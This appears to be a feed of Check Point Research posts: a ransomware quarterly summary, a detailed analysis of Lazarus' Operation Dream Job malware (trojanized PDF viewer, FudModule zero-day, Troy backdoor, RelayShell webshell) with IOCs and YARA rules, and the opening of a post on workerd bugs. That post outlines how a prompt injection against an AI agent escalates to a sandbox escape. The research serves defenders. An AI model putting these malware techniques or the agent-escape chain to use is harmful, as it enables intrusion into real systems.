3ba161ca7b8dcf389ec3236c9ddfb943e9d1766181b1b81a227649cad46132a8

Yara rule

rule StopAndProtectOperation
{
  meta:
		description = "Detects StopAndProtect Operation"
		author = "Check Point Research"
		date = "2026-05-26"
		modified = "2026-05-26"
		hash = "712E557373FBA45BDD66D52E395B8AF7CCF7006E6E82D4E1DB0736E738D0D4FB" 

  strings:
    $a = "C:\\Users\\marks\\source\\"
  condition:
    all of them
}

The post Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect appeared first on Check Point Research.

The State of Ransomware Q2 2026

For the past year, the ransomware conversation has centered on concentration: a handful of dominant RaaS operations controlling most of the damage, and a shrinking pool of active groups fighting over the same territory. The State of Ransomware Q2 2026 report from Check Point Research shows that picture starting to shift. The leaders are still winning, but the road to joining them has gotten a great deal shorter.

Key observed findings 

  • The ecosystem stayed concentrated even as its tail widened considerably. The top 10 groups accounted for 57.6% of all victims, down from 71% in Q1, while the number of active groups climbed from 71 to 93, a new high for the period tracked in this report. 
  • Victim volume held at an elevated baseline and did not meaningfully change QoQ. Data leak sites recorded 2,139 victims in Q2, essentially flat versus Q1 (up 0.8%) and up 33% year over year, keeping pace with the highs set through 2025. 
  • Qilin and The Gentlemen fought a close race for the top spot all quarter. Qilin remained the most prolific operator for a fourth straight quarter with 279 victims, though its count fell 17%, while The Gentlemen surged 62% to 269 victims and actually outpaced Qilin during the month of June. 
  • An internal leak gave an unprecedented look inside The Gentlemen’s operation. Chat logs and platform data exposed a core team of roughly nine operators supported by a broader affiliate base, along with confirmation that the group used AI coding assistants to build its ransomware management panel in about three days, genuine first party evidence of AI accelerating malicious tooling development. 
  • Ransom payment rates fell to a multi year low near 23%, continuing a six year decline from 85% in 2019. Even so, on chain ransomware payments still exceeded $820 million in 2025, and the payer market itself is splitting: average payments are rising even as the median falls, a sign that large enterprises keep paying heavily while the mid market increasingly holds firm or settles small. 
  • Law enforcement concentrated its Q2 efforts on shared infrastructure rather than individual groups. Actions took down a cryptocurrency laundering platform used by multiple ransomware actors, prompted sanctions against major Iranian digital asset exchanges, dismantled a malware signing service abused by several RaaS operations, and disrupted large infostealer and VPN anonymization networks that many groups depend on at once. 
  • The geographic picture shifted meaningfully. The US share of victims fell from 50% to 42% quarter over quarter, largely because the quarter’s fastest growing groups, including The Gentlemen and the newly active Krybit, target the US far less often than the ecosystem average. 
  • The exploitation window kept narrowing, with AI increasingly cited as the accelerant. Vulnerabilities are now being weaponized within hours to days of disclosure, lowering the cost of exploit development and giving ransomware operators one more edge in the race to reach victims first. 

To read the full findings, access the State of Ransomware Q2 2026 report from Check Point Research here

The post The State of Ransomware Q2 2026 appeared first on Check Point Research.

Shattering the Dream – When a Job Offer Becomes a Zero-Day Attack

Key Points

  • Check Point Research is tracking a long‑running campaign called Operation Dream Job, targeting organizations worldwide, with a particular focus on the defense sector. The campaign is affiliated to DPRK-linked Lazarus group and its latest wave focuses on the defense sector in Europe and India.
  • In the latest variant of the Operation Dream Job campaign, the threat actor distributed SecurityPDF, a modified PDF viewer designed to open attacker-crafted PDF documents and execute a new backdoor which we named Troy.
  • During the intrusion, the threat actor exploited CVE-2026-68820, a zero-day vulnerability in the Microsoft AFD.sys driver, to deploy a new version of FudModule, Lazarus’ kernel-mode rootkit. Following Check Point Research responsible disclosure, Microsoft released a patch as part of their August Patch Tuesday updates.
  • Lazarus also used CVE-2025-49113 to exploit vulnerable Roundcube webmail servers. The compromised servers were infected with RelayShell, a PHP webshell that repurposes compromised web servers as relay nodes within the attacker’s command-and-control infrastructure.
  • At least in one case, a compromised organization in Western Europe was leveraged to conduct a spear-phishing campaign, allowing the attackers to abuse the organization’s reputation and trust to target additional victims.

Introduction

Since early 2026, Check Point Research has tracked a wave of the Operation Dream Job campaign. This wave primarily targeted the defense sector worldwide, with a particular emphasis on companies operating in the aerospace and aviation industries.

We observed the threat actor distributing modified PDF viewers designed to execute malicious payloads embedded within specially crafted PDF files, opened by the user. In this campaign, the threat actor expanded its delivery method by leveraging impersonation websites and search engine optimization (SEO) techniques to distribute the trojanized applications, increasing its credibility and helping it evade some phishing-based detections.

During the operation, the threat actor deployed a new version of the FudModule rootkit, exploiting a zero-day local privilege escalation (LPE) vulnerability in the Windows AFD.sys driver, to obtain SYSTEM privileges and disable EDR visibility. Following responsible disclosure, Microsoft assigned the vulnerability CVE-2026-68820 and released a patch on August 11, 2026, as part of their August Patch Tuesday updates.

The attackers’ command-and-control infrastructure consists of compromised Roundcube and WordPress servers hosting RelayShell, a new PHP webshell that repurposes compromised web servers as relay nodes.

In this blog, we analyze the latest Operation Dream Job campaign, walking through the complete attack chain and providing a technical analysis of the malware and the novel techniques employed throughout the operation, offering new insights into the group’s evolving modus operandi.

Infection Chain

The Operation Dream Job campaign begins with targeted spear-phishing lures centered on attractive job opportunities at well-known companies in the defense, aerospace, and aviation industries.

The exact method used to approach victims in the current campaign remains unclear. However, based on previously documented Dream Job campaigns, we assess that the threat actor likely approached targets through professional networking platforms such as LinkedIn, or directly through messaging applications. Posing as recruiters, the attackers present enticing job opportunities and ultimately direct victims to download malicious files.

During our analysis, we identified two distinct infection chains used to compromise targets. While the second chain appears to represent a more recent evolution of the campaign, both infection methods remain active in parallel.

Infection Chain 1: DLL Sideloading chain

In this infection chain, the victim is convinced to download an encrypted zip archive containing three files:

  • A legitimate, digitally signed PDF viewer executable.
  • A malicious DLL that is loaded through DLL sideloading.
  • An encrypted payload with a PDF extension.
Figure 1 - High-level overview of the DLL sideloading infection chain
Figure 1 – High-level overview of the DLL sideloading infection chain.

When the victim launches the executable, the malicious DLL libmupdf.dll is loaded via DLL sideloading. The DLL extracts a decoy PDF document from the encrypted payload and displays it to the user, while simultaneously extracting, decrypting, and executing an embedded payload directly in memory.

Figure 2 - PDF decoy impersonating Lockheed Martin job description.
Figure 2 – PDF decoy impersonating Lockheed Martin job description.

The executed payload is MISTPEN, a lightweight in-memory downloader that uses Microsoft Graph API to access OneDrive in order to retrieve additional modules and run them in memory.

  • Reconnaissance: During the initial stages of the infection, the threat actor deploys several reconnaissance modules that collect system and process information, allowing the attacker to verify that the system is a suitable target before proceeding with the next stage of the attack.
  • Persistence: Once the target has been validated, MISTPEN receives an additional persistence module that installs the malware on disk and ensures that MISTPEN is automatically executed after system reboot.
  • Privilege Escalation: After persistence is established, MISTPEN loads an in-memory local privilege escalation (LPE) module designed to exploit the zero day vulnerability CVE-2026-68820 in the Microsoft AFD.sys driver. Successful exploitation allows the malware to execute FudModule, Lazarus’ kernel-mode rootkit, with SYSTEM privileges.
  • Backdoor Deployment: The final backdoor delivered by MISTPEN is the ForestTiger backdoor, a well-documented malware family widely attributed to the Lazarus threat group. Once deployed, it provides the attackers with long-term remote access to the compromised host.

Infection Chain 2: Trojanized PDF viewer

In July 2026, we observed a new campaign sharing many characteristics with previously documented Operation Dream Job, particularly the campaign described by ESET in 2025.

In this infection chain, victims receive fraudulent job offers impersonating Enveil, a Privacy Enhancing Technology company, and are instructed to download an encrypted ZIP archive containing two files:

  • SecurityPDF – a trojanized PDF viewer that has been modified to extract and execute an encrypted payload from specially crafted PDF documents.
  • A malicious PDF file – an encrypted payload disguised as a PDF document that is decrypted and executed when opened with the modified viewer.
Figure 3 - Crafted PDF opened by SecurityPDF.
Figure 3 – Crafted PDF opened by SecurityPDF.

SecurityPDF is a trojanized version of a legitimate open-source PDF viewer built on the MuPDF framework. The threat actor modified two code paths responsible for opening PDF documents: the File → Open dialog and the drag-and-drop file handling routine.

As a result, whenever a user opens a PDF document, the application checks whether the file contains the following marker This document is encrypted with sumatrapdf reader!!!!!!!!!!!!. If the marker is present, the application extracts the embedded payload, decrypts it using a single-byte XOR key (0x39), writes the resulting executable to %TEMP%\new.exe, and launches it as a child process.

The new.exe file is a small executable responsible for reflectively loading an embedded DLL containing the Troy backdoor, a previously undocumented backdoor first observed in this campaign.

In addition, we identified at least three websites impersonating Enveil that distribute the trojanized PDF viewer. Some of these websites rank highly in search engine results, with some even appearing as the top result for relevant search queries. It is important to note that the attacker only impersonates Enveil, and there are no indications that the company was targeted or compromised.

Figure 4 – Website appearing as the top search result for “Enveil SecurityPDF”.

Although we did not directly observe how the threat actor incorporated these websites into the phishing campaign, we assess that they were likely used to separate the delivery of the trojanized PDF viewer from the delivery of the crafted PDF document. In this scenario, victims would first receive the malicious PDF file through a phishing message and later be instructed to download the PDF viewer from what appears to be the vendor’s legitimate website. Separating these infection chain stages reduces the likelihood of detection.

MISTPEN

MISTPEN is the first in-memory module executed during the attack chain. First documented by Mandiant in 2024, it functions as a lightweight downloader that uses the Microsoft Graph API to communicate through attacker-controlled files hosted on OneDrive and retrieve additional payloads

All files exchanged through OneDrive are encrypted with AES, using separate keys for uploads and downloads. MISTPEN’s primary capability is the reflective loading of PE DLL files directly into memory, enabling the deployment of additional payloads without touching disk.

Before delivering the final backdoor, MISTPEN often deploys several in-memory modules designed to perform specific tasks. These modules do not implement their own network communication mechanisms; instead, they execute their designated tasks and return the resulting data to MISTPEN, which uploads it to the C2.

Below is a description of the modules we observed being loaded by MISTPEN during our analysis.

GetInfoPlugin – Host Reconnaissance Module

This module is a 64-bit Windows DLL internally named Release_GetInfoPlugin_x64.dll. Its primary purpose is to profile the compromised host and return the collected information as a single wide-character string.

The module collects basic system information, including the machine’s domain or workgroup membership (via NetGetJoinInformation), the computer name, the current user name, and the operating system version and build number. The collected data is formatted in the following template and returned to MISTPEN:

Domain: <domain_or_workgroup>
ComputerName: <hostname>
UserName: <username>
OsInfo: <Windows product name> <build_number>.<UBR>

PvPlugin – Process List Module

This module is a 64-bit Windows DLL internally named Release_PvPlugin_x64.dll. It serves as an extended version of the GetInfoPlugin module, collecting the same host reconnaissance data while adding detailed information about running processes.

For each running process, the module collects the Process PID, PPID, creation timestamp, associated domain and user, and process name. The collected information is formatted into a tabular process list and returned to MISTPEN.

OneScreenCapture – Screenshot Module

This module is a 64-bit Windows DLL internally named OneScreenCapture64.dll, it is responsible for capturing the current desktop (including all monitors) and returns the screenshot to its caller.

The module uses standard Windows USER32 and GDI APIs to capture the virtual desktop into a bitmap. The bitmap is then converted to a JPEG image and Base64-encoded into a single wide-character string before being returned to MISTPEN for exfiltration.

LPE loader

This module is a 64-bit Windows DLL that acts as a loader for a local privilege escalation (LPE) exploit module. It is loaded by an extended version of MISTPEN that provides it with an RPC buffer used for communication between the two components. Messages written to this buffer are forwarded by MISTPEN to the attacker through its existing Microsoft Graph API communication channel, while responses received from the C2 are relayed back to the module through the same interface.

Figure 5 - Writing and reading data through the shared RPC buffer
Figure 5 – Writing and reading data through the shared RPC buffer.

In addition to MISTPEN’s AES-based transport encryption, the module encrypts all exchanged data using GOST-CBC with a randomly generated 16-byte session key. The encrypted data is then Base64-encoded, with the session key prepended to each packet.

The module operates in four stages:

  1. Host Fingerprinting – The module gathers detailed information about the compromised host, including the operating system version, build number, installed security products, and other system characteristics.
  2. Key Exchange – The module requests a set of four public keys from the C2 server.
  3. Session Key Generation – Using the received public keys, the module generates new key material using the Kyber/ML-KEM algorithm and transmits the resulting encapsulated key material back to the C2.
  4. LPE Deployment – Finally, the module requests the encrypted LPE payload, decrypts it using the negotiated key, and executes it directly in memory with export DestroyEnv. Throughout the process, status messages are sent back to the C2 to indicate whether each stage of the exploitation succeeded.
Figure 6 - Execution of LPE module with export DestroyEnv
Figure 6 – Execution of LPE module with export DestroyEnv.

The downloaded LPE payload is FudModule, Lazarus’ kernel-mode exploit module. It exploits a local privilege escalation vulnerability to obtain SYSTEM privileges and injects a payload into a SYSTEM process. In the observed attack, the injected payload was another instance of MISTPEN, allowing the malware to continue operating with elevated privileges and without EDR visibility.

CVE-2026-68820: Yet another Zero-Day discovered by Lazarus

The file we investigated, Afd4Eop12_x64.dll, has a compiler timestamp of July 7, 2026, 22:07:44 UTC. Its strings immediately suggest a variant of FudModule, including references such as “enable_god_mode passed.” and a main function similar to previous Fud Modules. FudModule is a Lazarus privilege escalation tool, reported and being used since around 2021.

Figure 7 - Exploitation and post-exploitation function calls of FudModule, similar to the 2024 variant
Figure 7 – Exploitation and post-exploitation function calls of FudModule, similar to the 2024 variant.

The module targets afd.sys, the Windows Ancillary Function Driver, a part of the Windows kernel that is in charge of managing and handling sockets in Windows. In 2024, FudModule was reported to use another zero-day, CVE-2024-38193, a use-after-free vulnerability in the same afd.sys driver.

At first sight, the vulnerability looked similar to CVE-2025-60719, which is also a use-after-free vulnerability in the AFD.sys driver fixed in November 2025 and not linked to any particular threat actor. In the sample itself, we observed an explicit minimum-version check for Windows 11 build 26100 (24H2), with explicit support also for build 26200 (25H2). However, testing on the latest fully patched Windows 11 system confirmed that the exploit targets a distinct, previously undocumented vulnerability, actively being used in the wild as a part of Operation ‘Dream Job’ since at least early July 2026.

We will not be disclosing full technical details of the vulnerability in this article, as it was patched on the August 11 Patch Tuesday fix. At a high level, the exploit takes advantage of how afd.sys handles a socket is created when it is accessed concurrently by several threads at once.

The driver maintains a small piece of information about the state associated with each socket. Under specific concurrent conditions, two of its own code paths can operate on this state at the same simultaneously, without synchronization, creating a race condition If triggered at the right moment, one code path can access memory after it has already been released by another, resulting in a use-after-free vulnerability.

From there, the module does what these modules do – it leverages this memory corruption to obtain a kernel read/write primitive, which is subsequently used to achieve local privilege escalation to SYSTEM.

We disclosed the issue to Microsoft, and Microsoft issued a fix quickly.

Disclosure timeline

  • Jul 28, 2026: Issue reported to the Microsoft Security Response Center (MSRC).
  • Jul 31, 2026: Microsoft confirmed the bug
  • Aug 5, 2026: Microsoft assigned CVE-2026-68820 to the issue.
  • Aug 11, 2026: Fixed on Patch Tuesday.

FudModule v3.1

Except for a novel, completely different exploit chain, this FudModule’s post-exploitation behavior is quite similar to FudModule v3, reported by Gen Digital back in 2024.

Shared with v3

  • The entire telemetry teardown suite: process, thread, and image notify callbacks; object and registry callbacks; minifilter removal by altitude band; and the termination of the NT Kernel Logger.
  • Crash-dump suppression, executed before everything else.
  • The WFP stage, which is activated when Kaspersky is present and Symantec is absent.
  • The hardcoded ETW provider kill-list: its 94 GUIDs match the first 94 entries of Gen’s published 95-GUID list, in identical order.
  • The driver selection engine, with the same universal preserve list and per-class keep and kill rules.
  • Privileged-handle forgery and the same two-hop spawn through services.exe into a SYSTEM msiexec.exe process.
  • Logging vocabulary, surviving essentially string-for-string, including: GetGodMode failedGetSystemHandle passed.CreateRemoteProcess passed.RemoteDllExecute passed., and the ClearVaccine* family.

Functionality removed from v3

  • The dedicated Microsoft Defender stage used to disable monitoring of MsMpEng.exe. Only the orphaned string SuspendDefender passed. remains, and is no longer referenced by executable code, while Gen’s FudModule v3 YARA rule contains the active-stage variant SuspendDefender skipped.
  • The PPL stripping functionality targeting AhnLab’s asdsvc.exe.

Microsoft Defender is still blinded here, but only through the generic security-product suppression engine, like any other vendor, rather than through a dedicated Defender-specific stage.

New functionality since v3

  • A Smart App Control tampering functionality not documented in publicly analyzed FudModule versions through v3. Within the SYSTEM-level msiexec.exe child process, its remote stub sets VerifiedAndReputablePolicyState to zero and invokes NtSetSystemInformation class 0xA4 with option 0x10000000, triggering an in-place reload of the code integrity policy.

Targeting

As mentioned before, this version only targets newer Windows builds 26100/26200, unlike the previous version that also targeted older ones.

Troy Backdoor

The Troy backdoor is a newly identified modular remote access trojan in Lazarus’ arsenal. Delivered as a 64-bit DLL, it supports 17 operator commands, providing a broad range of remote access and post-exploitation capabilities.

The name Troy is derived from a PDB path embedded in the sample: E:\HK\Tool_Module\Troy_Handle\1Troy_Create_Dll_Tool\x64\Release\Test_Dll.pdb. Notably, the term Troy has also appeared in PDB paths associated with previously documented Lazarus samples. For example, an ESET report published last year documented a sample containing a PDB path E:\Work\Troy\안정화\...

The Troy backdoor supports three Command and Control (C2) servers, each configured with a URL and port. At startup, the implant iterates through the configured servers in order, parsing each URL into its host and path components, establishing an HTTP connection, and issuing a connection request. It validates the response against the string CONNECTED and uses the first server that responds successfully.

The initial connection is followed by a challenge-response handshake used to authorize the implant against the server. Once authenticated, Troy collects host information and registers the victim by sending a client identifier and a system profile containing the user profile directory, account name, Windows version, local IPv4 address, and current working directory.

Following registration, Troy enters its command-processing loop. Tasks received from the C2 server are Base64-encoded; the implant decodes them and identifies commands using plaintext prefix matching. Command results are returned through the send channel in a compact JSON envelope: { "to":"<channel>", "msg":"<base64>" }. Responses that exceed the maximum message size are divided into numbered chunks and reassembled on the C2 side.

The Troy backdoor provides a notably broad feature set for a single-DLL implant, and a cohesive design. Its seventeen supported commands span the capabilities required for each stage of post-compromise operations, from initial reconnaissance and file operations, to command execution and in-memory code delivery, while following a consistent tasking and result-framing model throughout.

Figure 8 - Troy’s reflective DLL injection flow, showing remote RWX allocation, loader and payload writes, and execution through RtlCreateUserThread.
Figure 8 – Troy’s reflective DLL injection flow, showing remote RWX allocation, loader and payload writes, and execution through RtlCreateUserThread.

Troy Backdoor Supported C2 Commands

CommandCapabilityWhat it does
WAITKeepaliveServer-side no-op that keeps the session alive and feeds the idle back-off counter.
DRIVESDrive enumerationReports every mounted volume letter present on the host.
LIST|<path>Directory listingEnumerates a directory with names, sizes and timestamps, sending the listing length first and the listing itself second.
OPEN|<exe> [args]Process creationLaunches an executable with arguments in a hidden window with no console.
DELETE|<path>File and folder deletionRemoves a single file, or an entire directory tree through a silent shell file operation.
ZIPDOWNLOAD|<src>|<dst>Archive and exfiltrateCompresses a path with PowerShell Compress-Archive into a temporary archive, uploads it, then removes the archive.
DOWNLOAD|<victim-source>|<client-destination>File exfiltrationStreams a file from the victim to the operator in chunks.
UPLOAD|<client-source>|<victim-destination>File dropWrites an operator-supplied file to disk, appending the filename when the destination is a directory.
CMD|<commandline>Interactive shellRuns a command and captures its output, tracking cd /d so the working directory persists between commands, with a 10 second execution watchdog.
mem <dllpath> <pid>In-memory DLL injectionMaps a DLL into a remote process using an embedded reflective loader, matching architecture before injecting.
pk <pid>Process terminationTerminates a process by identifier and reports the outcome.
sleep <N>One-shot delayPauses the implant for N minutes without changing the stored interval.
DEFAULTSLEEPConfigured delayAcknowledges, then pauses for the currently configured beacon interval.
GET_CONFIGConfiguration readReturns the stored configuration as eight fields covering the client ID, the sleep interval, and the three server and port pairs. The stored values may differ from the connection actually in use.
SET_CONFIG|Configuration updateWrites eight replacement fields into stored configuration state. Only the idle interval takes effect at runtime, because the connection loop does not read the stored servers and the port remains hardcoded to 80.
pvdProcess listing with command linesEnumerates processes with session, owner and start time, enriched with full command lines retrieved over WMI.
pvProcess listingThe same enumeration without the command line column.

Compromised Infrastructure Used as ForestTiger C2

As previously reported, ForestTiger’s C2 infrastructure has historically relied primarily on compromised servers mainly running WordPress and SharePoint. In more recent campaigns, the threat actor appears to have shifted toward using compromised Roundcube webmail servers as C2 infrastructure.

The majority of the Roundcube servers we analyzed were running versions vulnerable to CVE-2025-49113, a critical PHP Object Deserialization vulnerability that can lead to remote code execution (RCE). Exploitation of this vulnerability requires authentication with valid Roundcube credentials. During our investigation, we identified several credential leaks that are available in the Darkweb, and contain usernames and passwords associated with accounts on the compromised webmail servers. We assess that the threat actor likely leveraged these credentials to authenticate to the affected Roundcube instances before exploiting CVE-2025-49113 to deploy RelayShell web shells, which subsequently serve as a C2 relay mechanism.

In addition, we observed the threat actor compromise PrestaShop websites and deploy the same RelayShell web shell.

RelayShell

Following the post-exploitation of a web server, the threat actor deployed a previously undocumented PHP web shell that we named RelayShell. Unlike a traditional web shell that provides direct command execution, RelayShell primarily acts as a communication relay between the threat actor and an infected endpoint.

RelayShell operates in two distinct modes, selected by the password supplied in the HTTP POST request. For clarity, we refer to these as Victim mode and Operator mode.

Victim Mode

When accessed using the victim password, RelayShell creates a new PHP session that is subsequently used for communication with the infected endpoint.

The webshell then decrypts a hidden configuration stored in an external file using a custom substitution cipher. The configuration contains two values:

  • A backbone URL
  • A unique identifier (PID) assigned to the compromised server

RelayShell then immediately sends an HTTP POST request to the configured backbone URL using the unique identifier and authentication password.

Figure 9 - WebShell contacting the backbone compromised server on new session creation.
Figure 9 – WebShell contacting the backbone compromised server on new session creation.

Based on our analysis, the backbone URL appears to point to another RelayShell instance acting as an upstream relay or notification server. This request signals that a new victim session has been established, allowing the operator to subsequently connect using the second password.

Operator Mode

When accessed using the operator password, RelayShell enters operator mode, providing a set of commands for interacting with the compromised server. These commands support session management, connectivity checks, file upload and deletion, and retrieval of activity logs.

Command TypeDescription
Session auth / selectionScans existing .ses files, picks the latest session, and returns its data.
Check & cleanupUpdates configuration, deletes old session/log/temp files, and checks connectivity to the backbone URL.
Download logSends back the encoded log file containing activity records.
File uploadWrites an arbitrary file to disk, using Base64‑encoded filename and content.
Self‑delete / file removalSelf-delete  Deletes a specified file (provided as Base64‑encoded path).

File-Based Communication Channel

After both the victim and operator sessions are established, RelayShell provides two commands, send and receive, which implement a lightweight file-based communication channel using temporary files stored on the compromised server.

Messages are exchanged through files following the naming convention <session_id><object>.log where object identifies the side of the communication channel: 1 for the victim and 2 for the operator.

When sending data, RelayShell writes the supplied content to the session file corresponding to the sender. When receiving data, RelayShell reads and returns the contents of the file corresponding to the opposite side, creating a bidirectional communication between the victim and the operator.

Figure 10 - Obfuscated command switch for requesting and sending data
Figure 10 – Obfuscated command switch for requesting and sending data.

This mechanism effectively turns the compromised web server into a relay node. The victim-side implant establishes the session and notifies the backbone server that is monitored by the threat actor , after which the actor connects to the RelayShell instance and exchanges commands and responses through the file-based messaging channel.

During our investigation, we observed the threat actor accessing RelayShell through shared VPN services, including ExpressVPN, further obscuring the origin of their infrastructure.

We also identified 17 unique identifiers, suggesting that at least 17 compromised servers were likely used as relay nodes during the campaign. However, we were unable to identify all of the affected servers.

Victimology

This new Operation Dream Job campaign focused heavily on the defense sector, particularly organizations involved in military technologies such as surveillance sensors, drones, and robotics. The campaign had a global reach, with activity extending into South America, including Brazil, and successful targeting observed in Western Europe, including France and Germany.

During the campaign, a compromised organization headquartered in France was later leveraged by the threat actor to conduct spear-phishing attacks against targets worldwide, likely to increase the perceived campaign’s authenticity and credibility.

Another notable target was India, which has a substantial and rapidly growing defense and aerospace industry, with expanding domestic production and technology exports.

Figure 11 - Lazarus Operation Dream Job Global Campaign Targets.
Figure 11 – Lazarus Operation Dream Job Global Campaign Target Distribution.

Conclusion

The latest Operation Dream Job campaign demonstrates that Lazarus continues to evolve both its malware capabilities and operational tradecraft. Beyond deploying a new version of FudModule that exploits the CVE-2026-68820 zero-day vulnerability, the threat actor also refined its initial access techniques by combining targeted spear-phishing with impersonation websites and search engine optimization (SEO) to distribute trojanized software.

The threat actor’s decision to rely on compromised Roundcube instances and content management system (CMS) servers for C2 reflects an operational approach well suited to highly monitored defense-sector environments, where network activity may be closely inspected by organizational security teams as well as government and national cybersecurity authorities. By abusing legitimate web infrastructure, the threat actor can better blend malicious communications within normal network traffic.

Our findings highlight Lazarus’s continued evolution toward stealthier and more resilient operations, combining new delivery techniques, modular malware, zero-day exploitation, and compromised web infrastructure. We believe the technical details presented in this research will help defenders identify, detect, and disrupt future Operation Dream Job campaigns.

IOCs

DLL Loader\Dropper
2b4987c07a3d9a9a5d1a9bf4efa3d1903e775090b611710edafdc92874265ca8
3a02d0d798e8d35555776886d92b20ff38a101c9ef7e0eebc8ce5d259516525a
92106b0c62a0a42678232f8273f030b2d3c8e92efce81b98b9eec70cfe98afa1
396192d92d17ace1a521f1351eeeba2825e60badd0d799cc5c338e4934b3c82c
f7e620134ca935067797ab957317b346ce0df84a4e9b9ca54a6acc9b75afda4d
75b93a7103b0562f6497d30052c0c5cf7aa58c1bf0e9297022b74469a7f096f1
a45144d22cac70a45d71cf4dffa4efbc373658779a56cf1300d6ac863d6cc7e2
1de949c71efcfb0ffc41f33d38833dbc4b082075b1a540fc68c18c535d7ad86c
4c9b804d6155b29f1e27a9ffe531e10bc42a7bdab42f905b50146bf2026768d9
29e24c007549e51319ff3aee011da6f9f93568e8c85a5ad69c9e53bd3f4533a2
4ebdce2f47c23ff8c9e8e80c8b5239c7a5764da31cd3ab8f0505926890adc105
c2aa28bb5e2a749c693712008276f311edd912f689371ef9e8a1ee5fb4167461
MISTPEN
2db25ac41a66aa523c79e23e00443573530dd7bd82b8371bcc87bd7232e141eb
5278ee922838352f1480a73e971161017d643a80b7ec22bf725897dfd088696d
b4082d21070d9ddf53fde4ea22524d09e41ec9826ce63cef3c6235e458d21afb
fb3fc5626f68677fb1269a2fefbe70e719211b4065e836ab92e06a8210139a2d
ea7056f2bf36c66a61ff787ff5be975a85f534c3c5ca178791dac2504db2c619
13d10bc99f7f7abe7ee0902be87920b73b2ea41bd9683dbfcad340dacbcdef79
4fd32432341dfcf54d0517a6bbc38e5d265be70933493e4183c2a340cdde9a2d
4dd792c9f672bbdcc8d363d745994efe90f4ffc5fdc2c059c8e379a48ad6a68a
ba96c603e44046de703c67b2c3b7e4ca974afef7b437a0244418bc4edc781bb7
ForestTiger
72dccae85e062f541fecad9ec7a18a3123e7ae5ac5d53c91709b53a46dbbd289
231b1ef8b95bf77887d5377e2a60f649035e78f543af1b82877db36a5759d858
6da9b1e6f3315ceb77dd14a937a26cc3602bf6a7e2c2ecafb3c65ce5319837be
a0578a2b7821d7e2c573530648f26d7a0d98b373ab24fb7f0c792736761e542d
82268052f94df6f4870d02e57b18d4c54136cc7a8c8d80ad162631f99462c943
FudModule
3b6378df8442e63a6ed7317075913e4720847a510d95022d4a8347b2637c245d
PDF Payload
a673ae661593c0de9bbb815593b816a6853dad6d55ad5042d2ef1875cd13d6e7
8ce6c29f92dc45b1474417cbdff4ed0c18e58fa63e3a071ee9f85aa9d2aac07c
acb97cec84e08b89f41967a24e965d1fd2c51751cef158f7aa35bb4306b87b97
3601060c62edeeaa49def6a13be6e126e1024ce011faad4e2d9f585ccf6bd5a6
fecf12088843801215898442bd1ff3e266f29d14e29a94780e857f69c4915d6b
d578c28c9afe7457a0d81f6701332ef8197e8f7468de654935fb29a50ea66459
SecurityPDF.exe
743172aab606974b054a64561534ae66baa3a840657f79d7c6fa18350e8d45d1
db3d69b7eeda2e35e23006bf4b7e206281fce809584207214fc213f9bc30376d
Troy Backdoor
590fb6ae19480d694e08ee85859cad8066f2f87e7e5abba2960c6d115e1615d6
68d4fba7b1300a59cd6212c08910a260cd71b40cd9f51cac933030a68faac0bb
a738059ce07c951c31ab2da3d93d8f69bff32f9b7d933dbf5943441b9cc99075
RelayShell
21c3ad4838c4324bc5f081021da5fb2e9073d0c9304087811c21eb47c9e22762
cc4e06aa378a190f71384c03023bb3d18a6d66e297d46701220e132963d2e222
SecurityPDF Website & Troy C2
envell[.]xyz
enveil[.]online
uxtramine[.]org
135.181.67[.]203
135.181.185[.]158

YARA – RelayShell Webshell

rule lazarus_relayshell
{
  meta:
    author = "@_CPResearch_"
    description = "Lazarus RelayShell Webshell"
    target_entity = "file"
    hash = "21c3ad4838c4324bc5f081021da5fb2e9073d0c9304087811c21eb47c9e22762"
  strings:
    $str1 = "'PqCWom'"
    $str2 = "'a84038'"
    $str3 = "'biwbih'"
    $str4 = "'ddf7acea'"
    $str5 = "'enRU904U'"
    $str6 = "'fou2rm'"
    $str7 = "'kurhiW'"
    $str8 = "'qcrgl'"
    $str9 = "'rlzbiw'"
    $str10 = "'tmmvr1'"
    $str11 = "'win386'"
    $str12 = "\"biwbih\""
    $str13 = "\"PqCWom\""
    $str14 = "\"a84038\""
    $str15 = "\"ddf7acea\""
    $str16 = "\"enRU904U\""
    $str17 = "\"fou2rm\""
    $str18 = "\"kurhiW\""
    $str19 = "\"qcrgl\""
    $str20 = "\"rlzbiw\""
    $str21 = "\"tmmvr1\""
    $str22 = "\"win386\""
    $str23 = "D9hWnVEqdgzJ67/B8euS0yKCIMrw5jc:fGUX3AakLH2oYQRp"
  condition:
    3 of ($str*)
}

The post Shattering the Dream – When a Job Offer Becomes a Zero-Day Attack appeared first on Check Point Research.

When Agentic Glue Melts: Exploiting Cloudflare Code Mode and Workers

By Yarden Porat, Check Point Research

Key Points

  • Check Point Research analyzed Cloudflare Code Mode, a technique that changes how AI agents use MCP by turning tools into a TypeScript API the model can write code against.
  • The research uncovered five vulnerabilities in workerd, the open-source runtime behind Code Mode and Cloudflare Workers. Two were rated Critical by Cloudflare.
  • The blast radius is broad: by Cloudflare’s own numbers, Workers is built by millions of developers,[1] serves millions of requests per second,[2] and carries more than 10% of all traffic on Cloudflare’s network.[3]
  • Because workerd underpins both Code Mode sandboxes and Workers tenant isolation, the findings create sandbox-escape and cross-tenant exposure risk.
  • Cloudflare’s managed Workers environment has been fixed in production. Self-hosted workerd / Code Mode deployments should update to v1.20260619.1.
  • Check Point Research released proof-of-concept code as part of its Black Hat USA 2026 presentation.

The short version

We set out to break Cloudflare Code Mode, and ended up breaking Cloudflare Workers too. We did both by targeting workerd, the runtime beneath both: an in-process sandbox that relies entirely on V8 to isolate untrusted code.

We found five memory-corruption bugs in workerd’s native C++ (the “glue” between JavaScript and the runtime), and turned them into two end-to-end attacks:

  1. Cross-tenant heap swipe. An out-of-bounds read in URLPattern lets one Worker reach across the shared process heap and swipe another tenant’s secrets.
  2. Code Mode sandbox escape. Starting from a prompt injection, a use-after-free in node:zlib breaks out of the sandbox and runs native code on the host.

Part I – Understanding the target

1. Where this started: Code Mode

Code Mode is Cloudflare’s take on LLM tool use. Instead of a model emitting structured tool calls one at a time, Code Mode exposes the available tools as a typed TypeScript API and lets the model write code that calls them: loops, conditionals, data shuffling and all.

In the traditional MCP / tool-calling loop, the model emits one {tool, args} call, the agent runs it, feeds the result back. The model then emits the next call. Every step is a fresh model invocation, and usually a network round-trip. Code Mode collapses that: the model writes one program that orchestrates many tool calls itself (looping, branching, and combining intermediate results locally) and only the final output returns to the model.

